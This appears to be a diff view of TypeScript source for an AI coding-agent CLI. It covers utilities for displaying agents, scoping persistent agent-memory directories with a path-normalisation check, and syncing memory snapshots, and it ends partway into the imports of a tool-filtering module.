1FBQUFWLENBQUEsT0FBQWdCLEVBQUE7TUFBQTtRQUFBQSxFQUFBLEdBQUFoQixDQUFBO01BQUE7TUFKVFEsS0FBSyxDQUFBTSxJQUFLLENBQ1JFLEVBSUYsQ0FBQztNQUNEUCxLQUFLLEVBQUU7SUFBQTtJQUdULElBQUlKLGFBQWEsR0FBRyxDQUFDO01BQ25CLE1BQUFZLE1BQUEsR0FBYWYsYUFBYSxHQUN0Qk8sS0FBSyxLQUFLLENBRUcsR0FGYixXQUVhLEdBRmIsV0FLWSxHQUZaQSxLQUFLLEtBQUssQ0FFRSxHQUZaLFVBRVksR0FGWixVQUVZO01BQ2hCLElBQUlBLEtBQUssR0FBRyxDQUFDO1FBQUEsSUFBQUUsRUFBQTtRQUFBLElBQUFYLENBQUEsU0FBQVksTUFBQSxDQUFBQyxHQUFBO1VBQ0FGLEVBQUEsSUFBQyxJQUFJLENBQUssR0FBVyxDQUFYLFdBQVcsQ0FBQyxFQUFFLEVBQXZCLElBQUksQ0FBMEI7VUFBQVgsQ0FBQSxPQUFBVyxFQUFBO1FBQUE7VUFBQUEsRUFBQSxHQUFBWCxDQUFBO1FBQUE7UUFBMUNRLEtBQUssQ0FBQU0sSUFBSyxDQUFDSCxFQUErQixDQUFDO01BQUE7TUFFTCxNQUFBQSxFQUFBLE1BQUdELE1BQUksZ0JBQWdCO01BQUEsSUFBQUssRUFBQTtNQUFBLElBQUFmLENBQUEsU0FBQVcsRUFBQTtRQUFwREksRUFBQSxJQUFDLElBQUksQ0FBSyxHQUFpQixDQUFqQixpQkFBaUIsQ0FBRSxDQUFBSixFQUFzQixDQUFFLEVBQXBELElBQUksQ0FBdUQ7UUFBQVgsQ0FBQSxPQUFBVyxFQUFBO1FBQUFYLENBQUEsT0FBQWUsRUFBQTtNQUFBO1FBQUFBLEVBQUEsR0FBQWYsQ0FBQTtNQUFBO01BQXZFUSxLQUFLLENBQUFNLElBQUssQ0FBQ0MsRUFBNEQsQ0FBQztNQUN4RU4sS0FBSyxFQUFFO0lBQUE7SUFHVCxJQUFJSCxZQUFZLEdBQUcsQ0FBQztNQUNsQixNQUFBWSxNQUFBLEdBQWFoQixhQUFhLEdBQ3RCTyxLQUFLLEtBQUssQ0FFQyxHQUZYLFNBRVcsR0FGWCxTQUtTLEdBRlRBLEtBQUssS0FBSyxDQUVELEdBRlQsT0FFUyxHQUZULE9BRVM7TUFDYixJQUFJQSxLQUFLLEdBQUcsQ0FBQztRQUFBLElBQUFFLEVBQUE7UUFBQSxJQUFBWCxDQUFBLFNBQUFZLE1BQUEsQ0FBQUMsR0FBQTtVQUNBRixFQUFBLElBQUMsSUFBSSxDQUFLLEdBQVcsQ0FBWCxXQUFXLENBQUMsRUFBRSxFQUF2QixJQUFJLENBQTBCO1VBQUFYLENBQUEsT0FBQVcsRUFBQTtRQUFBO1VBQUFBLEVBQUEsR0FBQVgsQ0FBQTtRQUFBO1FBQTFDUSxLQUFLLENBQUFNLElBQUssQ0FBQ0gsRUFBK0IsQ0FBQztNQUFBO01BQzVDLElBQUFBLEVBQUE7TUFBQSxJQUFBWCxDQUFBLFNBQUFNLFlBQUE7UUFHVUssRUFBQSxJQUFDLElBQUksQ0FBQyxJQUFJLENBQUosS0FBRyxDQUFDLENBQUVMLGFBQVcsQ0FBRSxFQUF4QixJQUFJLENBQTJCO1FBQUFOLENBQUEsT0FBQU0sWUFBQTtRQUFBTixDQUFBLE9BQUFXLEVBQUE7TUFBQTtRQUFBQSxFQUFBLEdBQUFYLENBQUE7TUFBQTtNQUN0QyxNQUFBZSxFQUFBLEdBQUFULFlBQVksS0FBSyxDQUF5QixHQUExQyxRQUEwQyxHQUExQyxVQUEwQztNQUFBLElBQUFVLEVBQUE7TUFBQSxJQUFBaEIsQ0FBQSxTQUFBVyxFQUFBLElBQUFYLENBQUEsU0FBQWUsRUFBQSxJQUFBZixDQUFBLFNBQUFrQixNQUFBO1FBRjdDRixFQUFBLElBQUMsSUFBSSxDQUFLLEdBQWdCLENBQWhCLGdCQUFnQixDQUN2Qk4sT0FBRyxDQUFFLENBQUMsQ0FBQUMsRUFBK0IsQ0FBQyxLQUFNLElBQUUsQ0FDOUMsQ0FBQUksRUFBeUMsQ0FDNUMsRUFIQyxJQUFJLENBR0U7UUFBQWYsQ0FBQSxPQUFBVyxFQUFBO1FBQUFYLENBQUEsT0FBQWUsRUFBQTtRQUFBZixDQUFBLE9BQUFrQixNQUFBO1FBQUFsQixDQUFBLE9BQUFnQixFQUFBO01BQUE7UUFBQUEsRUFBQSxHQUFBaEIsQ0FBQTtNQUFBO01BSlRRLEtBQUssQ0FBQU0sSUFBSyxDQUNSRSxFQUlGLENBQUM7SUFBQTtJQUdJVCxFQUFBLEtBQUdDLE1BQUksQ0FBQyxHQUFJO0lBQUFSLENBQUEsTUFBQUcsaUJBQUE7SUFBQUgsQ0FBQSxNQUFBRSxhQUFBO0lBQUFGLENBQUEsTUFBQUksV0FBQTtJQUFBSixDQUFBLE1BQUFLLGFBQUE7SUFBQUwsQ0FBQSxNQUFBTSxZQUFBO0lBQUFOLENBQUEsTUFBQU8sRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVAsQ0FBQTtFQUFBO0VBQUEsT0FBWk8sRUFBWTtBQUFBIiwiaWdub3JlTGlzdCI6W119
src/entrypoints/sdk/coreTypes.generated.ts ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ // Generated SDK type definitions are omitted from this source snapshot.
2
+ // Runtime code imports this module through `export *`; an empty module keeps
3
+ // source-mode execution working because those generated exports are type-only.
4
+ export {}
src/tools/AgentTool/AgentTool.tsx ADDED
The diff for this file is too large to render. See raw diff
 
src/tools/AgentTool/agentDisplay.ts ADDED
@@ -0,0 +1,104 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * Shared utilities for displaying agent information.
3
+ * Used by both the CLI `claude agents` handler and the interactive `/agents` command.
4
+ */
5
+
6
+ import { getDefaultSubagentModel } from '../../utils/model/agent.js'
7
+ import {
8
+ getSourceDisplayName,
9
+ type SettingSource,
10
+ } from '../../utils/settings/constants.js'
11
+ import type { AgentDefinition } from './loadAgentsDir.js'
12
+
13
+ type AgentSource = SettingSource | 'built-in' | 'plugin'
14
+
15
+ export type AgentSourceGroup = {
16
+ label: string
17
+ source: AgentSource
18
+ }
19
+
20
+ /**
21
+ * Ordered list of agent source groups for display.
22
+ * Both the CLI and interactive UI should use this to ensure consistent ordering.
23
+ */
24
+ export const AGENT_SOURCE_GROUPS: AgentSourceGroup[] = [
25
+ { label: 'User agents', source: 'userSettings' },
26
+ { label: 'Project agents', source: 'projectSettings' },
27
+ { label: 'Local agents', source: 'localSettings' },
28
+ { label: 'Managed agents', source: 'policySettings' },
29
+ { label: 'Plugin agents', source: 'plugin' },
30
+ { label: 'CLI arg agents', source: 'flagSettings' },
31
+ { label: 'Built-in agents', source: 'built-in' },
32
+ ]
33
+
34
+ export type ResolvedAgent = AgentDefinition & {
35
+ overriddenBy?: AgentSource
36
+ }
37
+
38
+ /**
39
+ * Annotate agents with override information by comparing against the active
40
+ * (winning) agent list. An agent is "overridden" when another agent with the
41
+ * same type from a higher-priority source takes precedence.
42
+ *
43
+ * Also deduplicates by (agentType, source) to handle git worktree duplicates
44
+ * where the same agent file is loaded from both the worktree and main repo.
45
+ */
46
+ export function resolveAgentOverrides(
47
+ allAgents: AgentDefinition[],
48
+ activeAgents: AgentDefinition[],
49
+ ): ResolvedAgent[] {
50
+ const activeMap = new Map<string, AgentDefinition>()
51
+ for (const agent of activeAgents) {
52
+ activeMap.set(agent.agentType, agent)
53
+ }
54
+
55
+ const seen = new Set<string>()
56
+ const resolved: ResolvedAgent[] = []
57
+
58
+ // Iterate allAgents, annotating each with override info from activeAgents.
59
+ // Deduplicate by (agentType, source) to handle git worktree duplicates.
60
+ for (const agent of allAgents) {
61
+ const key = `${agent.agentType}:${agent.source}`
62
+ if (seen.has(key)) continue
63
+ seen.add(key)
64
+
65
+ const active = activeMap.get(agent.agentType)
66
+ const overriddenBy =
67
+ active && active.source !== agent.source ? active.source : undefined
68
+ resolved.push({ ...agent, overriddenBy })
69
+ }
70
+
71
+ return resolved
72
+ }
73
+
74
+ /**
75
+ * Resolve the display model string for an agent.
76
+ * Returns the model alias or 'inherit' for display purposes.
77
+ */
78
+ export function resolveAgentModelDisplay(
79
+ agent: AgentDefinition,
80
+ ): string | undefined {
81
+ const model = agent.model || getDefaultSubagentModel()
82
+ if (!model) return undefined
83
+ return model === 'inherit' ? 'inherit' : model
84
+ }
85
+
86
+ /**
87
+ * Get a human-readable label for the source that overrides an agent.
88
+ * Returns lowercase, e.g. "user", "project", "managed".
89
+ */
90
+ export function getOverrideSourceLabel(source: AgentSource): string {
91
+ return getSourceDisplayName(source).toLowerCase()
92
+ }
93
+
94
+ /**
95
+ * Compare agents alphabetically by name (case-insensitive).
96
+ */
97
+ export function compareAgentsByName(
98
+ a: AgentDefinition,
99
+ b: AgentDefinition,
100
+ ): number {
101
+ return a.agentType.localeCompare(b.agentType, undefined, {
102
+ sensitivity: 'base',
103
+ })
104
+ }
src/tools/AgentTool/agentMemory.ts ADDED
@@ -0,0 +1,177 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { join, normalize, sep } from 'path'
2
+ import { getProjectRoot } from '../../bootstrap/state.js'
3
+ import {
4
+ buildMemoryPrompt,
5
+ ensureMemoryDirExists,
6
+ } from '../../memdir/memdir.js'
7
+ import { getMemoryBaseDir } from '../../memdir/paths.js'
8
+ import { getCwd } from '../../utils/cwd.js'
9
+ import { findCanonicalGitRoot } from '../../utils/git.js'
10
+ import { sanitizePath } from '../../utils/path.js'
11
+
12
+ // Persistent agent memory scope: 'user' (~/.claude/agent-memory/), 'project' (.claude/agent-memory/), or 'local' (.claude/agent-memory-local/)
13
+ export type AgentMemoryScope = 'user' | 'project' | 'local'
14
+
15
+ /**
16
+ * Sanitize an agent type name for use as a directory name.
17
+ * Replaces colons (invalid on Windows, used in plugin-namespaced agent
18
+ * types like "my-plugin:my-agent") with dashes.
19
+ */
20
+ function sanitizeAgentTypeForPath(agentType: string): string {
21
+ return agentType.replace(/:/g, '-')
22
+ }
23
+
24
+ /**
25
+ * Returns the local agent memory directory, which is project-specific and not checked into VCS.
26
+ * When CLAUDE_CODE_REMOTE_MEMORY_DIR is set, persists to the mount with project namespacing.
27
+ * Otherwise, uses <cwd>/.claude/agent-memory-local/<agentType>/.
28
+ */
29
+ function getLocalAgentMemoryDir(dirName: string): string {
30
+ if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
31
+ return (
32
+ join(
33
+ process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR,
34
+ 'projects',
35
+ sanitizePath(
36
+ findCanonicalGitRoot(getProjectRoot()) ?? getProjectRoot(),
37
+ ),
38
+ 'agent-memory-local',
39
+ dirName,
40
+ ) + sep
41
+ )
42
+ }
43
+ return join(getCwd(), '.claude', 'agent-memory-local', dirName) + sep
44
+ }
45
+
46
+ /**
47
+ * Returns the agent memory directory for a given agent type and scope.
48
+ * - 'user' scope: <memoryBase>/agent-memory/<agentType>/
49
+ * - 'project' scope: <cwd>/.claude/agent-memory/<agentType>/
50
+ * - 'local' scope: see getLocalAgentMemoryDir()
51
+ */
52
+ export function getAgentMemoryDir(
53
+ agentType: string,
54
+ scope: AgentMemoryScope,
55
+ ): string {
56
+ const dirName = sanitizeAgentTypeForPath(agentType)
57
+ switch (scope) {
58
+ case 'project':
59
+ return join(getCwd(), '.claude', 'agent-memory', dirName) + sep
60
+ case 'local':
61
+ return getLocalAgentMemoryDir(dirName)
62
+ case 'user':
63
+ return join(getMemoryBaseDir(), 'agent-memory', dirName) + sep
64
+ }
65
+ }
66
+
67
+ // Check if file is within an agent memory directory (any scope).
68
+ export function isAgentMemoryPath(absolutePath: string): boolean {
69
+ // SECURITY: Normalize to prevent path traversal bypasses via .. segments
70
+ const normalizedPath = normalize(absolutePath)
71
+ const memoryBase = getMemoryBaseDir()
72
+
73
+ // User scope: check memory base (may be custom dir or config home)
74
+ if (normalizedPath.startsWith(join(memoryBase, 'agent-memory') + sep)) {
75
+ return true
76
+ }
77
+
78
+ // Project scope: always cwd-based (not redirected)
79
+ if (
80
+ normalizedPath.startsWith(join(getCwd(), '.claude', 'agent-memory') + sep)
81
+ ) {
82
+ return true
83
+ }
84
+
85
+ // Local scope: persisted to mount when CLAUDE_CODE_REMOTE_MEMORY_DIR is set, otherwise cwd-based
86
+ if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
87
+ if (
88
+ normalizedPath.includes(sep + 'agent-memory-local' + sep) &&
89
+ normalizedPath.startsWith(
90
+ join(process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR, 'projects') + sep,
91
+ )
92
+ ) {
93
+ return true
94
+ }
95
+ } else if (
96
+ normalizedPath.startsWith(
97
+ join(getCwd(), '.claude', 'agent-memory-local') + sep,
98
+ )
99
+ ) {
100
+ return true
101
+ }
102
+
103
+ return false
104
+ }
105
+
106
+ /**
107
+ * Returns the agent memory file path for a given agent type and scope.
108
+ */
109
+ export function getAgentMemoryEntrypoint(
110
+ agentType: string,
111
+ scope: AgentMemoryScope,
112
+ ): string {
113
+ return join(getAgentMemoryDir(agentType, scope), 'MEMORY.md')
114
+ }
115
+
116
+ export function getMemoryScopeDisplay(
117
+ memory: AgentMemoryScope | undefined,
118
+ ): string {
119
+ switch (memory) {
120
+ case 'user':
121
+ return `User (${join(getMemoryBaseDir(), 'agent-memory')}/)`
122
+ case 'project':
123
+ return 'Project (.claude/agent-memory/)'
124
+ case 'local':
125
+ return `Local (${getLocalAgentMemoryDir('...')})`
126
+ default:
127
+ return 'None'
128
+ }
129
+ }
130
+
131
+ /**
132
+ * Load persistent memory for an agent with memory enabled.
133
+ * Creates the memory directory if needed and returns a prompt with memory contents.
134
+ *
135
+ * @param agentType The agent's type name (used as directory name)
136
+ * @param scope 'user' for ~/.claude/agent-memory/ or 'project' for .claude/agent-memory/
137
+ */
138
+ export function loadAgentMemoryPrompt(
139
+ agentType: string,
140
+ scope: AgentMemoryScope,
141
+ ): string {
142
+ let scopeNote: string
143
+ switch (scope) {
144
+ case 'user':
145
+ scopeNote =
146
+ '- Since this memory is user-scope, keep learnings general since they apply across all projects'
147
+ break
148
+ case 'project':
149
+ scopeNote =
150
+ '- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project'
151
+ break
152
+ case 'local':
153
+ scopeNote =
154
+ '- Since this memory is local-scope (not checked into version control), tailor your memories to this project and machine'
155
+ break
156
+ }
157
+
158
+ const memoryDir = getAgentMemoryDir(agentType, scope)
159
+
160
+ // Fire-and-forget: this runs at agent-spawn time inside a sync
161
+ // getSystemPrompt() callback (called from React render in AgentDetail.tsx,
162
+ // so it cannot be async). The spawned agent won't try to Write until after
163
+ // a full API round-trip, by which time mkdir will have completed. Even if
164
+ // it hasn't, FileWriteTool does its own mkdir of the parent directory.
165
+ void ensureMemoryDirExists(memoryDir)
166
+
167
+ const coworkExtraGuidelines =
168
+ process.env.CLAUDE_COWORK_MEMORY_EXTRA_GUIDELINES
169
+ return buildMemoryPrompt({
170
+ displayName: 'Persistent Agent Memory',
171
+ memoryDir,
172
+ extraGuidelines:
173
+ coworkExtraGuidelines && coworkExtraGuidelines.trim().length > 0
174
+ ? [scopeNote, coworkExtraGuidelines]
175
+ : [scopeNote],
176
+ })
177
+ }
src/tools/AgentTool/agentMemorySnapshot.ts ADDED
@@ -0,0 +1,197 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
2
+ import { join } from 'path'
3
+ import { z } from 'zod/v4'
4
+ import { getCwd } from '../../utils/cwd.js'
5
+ import { logForDebugging } from '../../utils/debug.js'
6
+ import { lazySchema } from '../../utils/lazySchema.js'
7
+ import { jsonParse, jsonStringify } from '../../utils/slowOperations.js'
8
+ import { type AgentMemoryScope, getAgentMemoryDir } from './agentMemory.js'
9
+
10
+ const SNAPSHOT_BASE = 'agent-memory-snapshots'
11
+ const SNAPSHOT_JSON = 'snapshot.json'
12
+ const SYNCED_JSON = '.snapshot-synced.json'
13
+
14
+ const snapshotMetaSchema = lazySchema(() =>
15
+ z.object({
16
+ updatedAt: z.string().min(1),
17
+ }),
18
+ )
19
+
20
+ const syncedMetaSchema = lazySchema(() =>
21
+ z.object({
22
+ syncedFrom: z.string().min(1),
23
+ }),
24
+ )
25
+ type SyncedMeta = z.infer<ReturnType<typeof syncedMetaSchema>>
26
+
27
+ /**
28
+ * Returns the path to the snapshot directory for an agent in the current project.
29
+ * e.g., <cwd>/.claude/agent-memory-snapshots/<agentType>/
30
+ */
31
+ export function getSnapshotDirForAgent(agentType: string): string {
32
+ return join(getCwd(), '.claude', SNAPSHOT_BASE, agentType)
33
+ }
34
+
35
+ function getSnapshotJsonPath(agentType: string): string {
36
+ return join(getSnapshotDirForAgent(agentType), SNAPSHOT_JSON)
37
+ }
38
+
39
+ function getSyncedJsonPath(agentType: string, scope: AgentMemoryScope): string {
40
+ return join(getAgentMemoryDir(agentType, scope), SYNCED_JSON)
41
+ }
42
+
43
+ async function readJsonFile<T>(
44
+ path: string,
45
+ schema: z.ZodType<T>,
46
+ ): Promise<T | null> {
47
+ try {
48
+ const content = await readFile(path, { encoding: 'utf-8' })
49
+ const result = schema.safeParse(jsonParse(content))
50
+ return result.success ? result.data : null
51
+ } catch {
52
+ return null
53
+ }
54
+ }
55
+
56
+ async function copySnapshotToLocal(
57
+ agentType: string,
58
+ scope: AgentMemoryScope,
59
+ ): Promise<void> {
60
+ const snapshotMemDir = getSnapshotDirForAgent(agentType)
61
+ const localMemDir = getAgentMemoryDir(agentType, scope)
62
+
63
+ await mkdir(localMemDir, { recursive: true })
64
+
65
+ try {
66
+ const files = await readdir(snapshotMemDir, { withFileTypes: true })
67
+ for (const dirent of files) {
68
+ if (!dirent.isFile() || dirent.name === SNAPSHOT_JSON) continue
69
+ const content = await readFile(join(snapshotMemDir, dirent.name), {
70
+ encoding: 'utf-8',
71
+ })
72
+ await writeFile(join(localMemDir, dirent.name), content)
73
+ }
74
+ } catch (e) {
75
+ logForDebugging(`Failed to copy snapshot to local agent memory: ${e}`)
76
+ }
77
+ }
78
+
79
+ async function saveSyncedMeta(
80
+ agentType: string,
81
+ scope: AgentMemoryScope,
82
+ snapshotTimestamp: string,
83
+ ): Promise<void> {
84
+ const syncedPath = getSyncedJsonPath(agentType, scope)
85
+ const localMemDir = getAgentMemoryDir(agentType, scope)
86
+ await mkdir(localMemDir, { recursive: true })
87
+ const meta: SyncedMeta = { syncedFrom: snapshotTimestamp }
88
+ try {
89
+ await writeFile(syncedPath, jsonStringify(meta))
90
+ } catch (e) {
91
+ logForDebugging(`Failed to save snapshot sync metadata: ${e}`)
92
+ }
93
+ }
94
+
95
+ /**
96
+ * Check if a snapshot exists and whether it's newer than what we last synced.
97
+ */
98
+ export async function checkAgentMemorySnapshot(
99
+ agentType: string,
100
+ scope: AgentMemoryScope,
101
+ ): Promise<{
102
+ action: 'none' | 'initialize' | 'prompt-update'
103
+ snapshotTimestamp?: string
104
+ }> {
105
+ const snapshotMeta = await readJsonFile(
106
+ getSnapshotJsonPath(agentType),
107
+ snapshotMetaSchema(),
108
+ )
109
+
110
+ if (!snapshotMeta) {
111
+ return { action: 'none' }
112
+ }
113
+
114
+ const localMemDir = getAgentMemoryDir(agentType, scope)
115
+
116
+ let hasLocalMemory = false
117
+ try {
118
+ const dirents = await readdir(localMemDir, { withFileTypes: true })
119
+ hasLocalMemory = dirents.some(d => d.isFile() && d.name.endsWith('.md'))
120
+ } catch {
121
+ // Directory doesn't exist
122
+ }
123
+
124
+ if (!hasLocalMemory) {
125
+ return { action: 'initialize', snapshotTimestamp: snapshotMeta.updatedAt }
126
+ }
127
+
128
+ const syncedMeta = await readJsonFile(
129
+ getSyncedJsonPath(agentType, scope),
130
+ syncedMetaSchema(),
131
+ )
132
+
133
+ if (
134
+ !syncedMeta ||
135
+ new Date(snapshotMeta.updatedAt) > new Date(syncedMeta.syncedFrom)
136
+ ) {
137
+ return {
138
+ action: 'prompt-update',
139
+ snapshotTimestamp: snapshotMeta.updatedAt,
140
+ }
141
+ }
142
+
143
+ return { action: 'none' }
144
+ }
145
+
146
+ /**
147
+ * Initialize local agent memory from a snapshot (first-time setup).
148
+ */
149
+ export async function initializeFromSnapshot(
150
+ agentType: string,
151
+ scope: AgentMemoryScope,
152
+ snapshotTimestamp: string,
153
+ ): Promise<void> {
154
+ logForDebugging(
155
+ `Initializing agent memory for ${agentType} from project snapshot`,
156
+ )
157
+ await copySnapshotToLocal(agentType, scope)
158
+ await saveSyncedMeta(agentType, scope, snapshotTimestamp)
159
+ }
160
+
161
+ /**
162
+ * Replace local agent memory with the snapshot.
163
+ */
164
+ export async function replaceFromSnapshot(
165
+ agentType: string,
166
+ scope: AgentMemoryScope,
167
+ snapshotTimestamp: string,
168
+ ): Promise<void> {
169
+ logForDebugging(
170
+ `Replacing agent memory for ${agentType} with project snapshot`,
171
+ )
172
+ // Remove existing .md files before copying to avoid orphans
173
+ const localMemDir = getAgentMemoryDir(agentType, scope)
174
+ try {
175
+ const existing = await readdir(localMemDir, { withFileTypes: true })
176
+ for (const dirent of existing) {
177
+ if (dirent.isFile() && dirent.name.endsWith('.md')) {
178
+ await unlink(join(localMemDir, dirent.name))
179
+ }
180
+ }
181
+ } catch {
182
+ // Directory may not exist yet
183
+ }
184
+ await copySnapshotToLocal(agentType, scope)
185
+ await saveSyncedMeta(agentType, scope, snapshotTimestamp)
186
+ }
187
+
188
+ /**
189
+ * Mark the current snapshot as synced without changing local memory.
190
+ */
191
+ export async function markSnapshotSynced(
192
+ agentType: string,
193
+ scope: AgentMemoryScope,
194
+ snapshotTimestamp: string,
195
+ ): Promise<void> {
196
+ await saveSyncedMeta(agentType, scope, snapshotTimestamp)
197
+ }
src/tools/AgentTool/agentToolUtils.ts ADDED
@@ -0,0 +1,686 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { z } from 'zod/v4'
3
+ import { clearInvokedSkillsForAgent } from '../../bootstrap/state.js'
4
+ import {
5
+ ALL_AGENT_DISALLOWED_TOOLS,
6
+ ASYNC_AGENT_ALLOWED_TOOLS,
7
+ CUSTOM_AGENT_DISALLOWED_TOOLS,
8
+ IN_PROCESS_TEAMMATE_ALLOWED_TOOLS,
9
+ } from '../../constants/tools.js'
10
+ import { startAgentSummarization } from '../../services/AgentSummary/agentSummary.js'
11
+ import {
12
+ type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
13
+ logEvent,
14
+ } from '../../services/analytics/index.js'
15
+ import { clearDumpState } from '../../services/api/dumpPrompts.js'
16
+ import type { AppState } from '../../state/AppState.js'
17
+ import type {
18
+ Tool,
19
+ ToolPermissionContext,
20
+ Tools,
21
+ ToolUseContext,
22
+ } from '../../Tool.js'
23
+ import { toolMatchesName } from '../../Tool.js'
24
+ import {
25
+ completeAgentTask as completeAsyncAgent,
26
+ createActivityDescriptionResolver,
27
+ createProgressTracker,
28
+ enqueueAgentNotification,
29
+ failAgentTask as failAsyncAgent,
30
+ getProgressUpdate,
31
+ getTokenCountFromTracker,
32
+ isLocalAgentTask,
33
+ killAsyncAgent,
34
+ type ProgressTracker,
35
+ updateAgentProgress as updateAsyncAgentProgress,
36
+ updateProgressFromMessage,
37
+ } from '../../tasks/LocalAgentTask/LocalAgentTask.js'
38
+ import { asAgentId } from '../../types/ids.js'
39
+ import type { Message as MessageType } from '../../types/message.js'
40
+ import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js'
41
+ import { logForDebugging } from '../../utils/debug.js'
42
+ import { isInProtectedNamespace } from '../../utils/envUtils.js'
43
+ import { AbortError, errorMessage } from '../../utils/errors.js'
44
+ import type { CacheSafeParams } from '../../utils/forkedAgent.js'
45
+ import { lazySchema } from '../../utils/lazySchema.js'
46
+ import {
47
+ extractTextContent,
48
+ getLastAssistantMessage,
49
+ } from '../../utils/messages.js'
50
+ import type { PermissionMode } from '../../utils/permissions/PermissionMode.js'
51
+ import { permissionRuleValueFromString } from '../../utils/permissions/permissionRuleParser.js'
52
+ import {
53
+ buildTranscriptForClassifier,
54
+ classifyYoloAction,
55
+ } from '../../utils/permissions/yoloClassifier.js'
56
+ import { emitTaskProgress as emitTaskProgressEvent } from '../../utils/task/sdkProgress.js'
57
+ import { isInProcessTeammate } from '../../utils/teammateContext.js'
58
+ import { getTokenCountFromUsage } from '../../utils/tokens.js'
59
+ import { EXIT_PLAN_MODE_V2_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
60
+ import { AGENT_TOOL_NAME, LEGACY_AGENT_TOOL_NAME } from './constants.js'
61
+ import type { AgentDefinition } from './loadAgentsDir.js'
62
+ export type ResolvedAgentTools = {
63
+ hasWildcard: boolean
64
+ validTools: string[]
65
+ invalidTools: string[]
66
+ resolvedTools: Tools
67
+ allowedAgentTypes?: string[]
68
+ }
69
+
70
+ export function filterToolsForAgent({
71
+ tools,
72
+ isBuiltIn,
73
+ isAsync = false,
74
+ permissionMode,
75
+ }: {
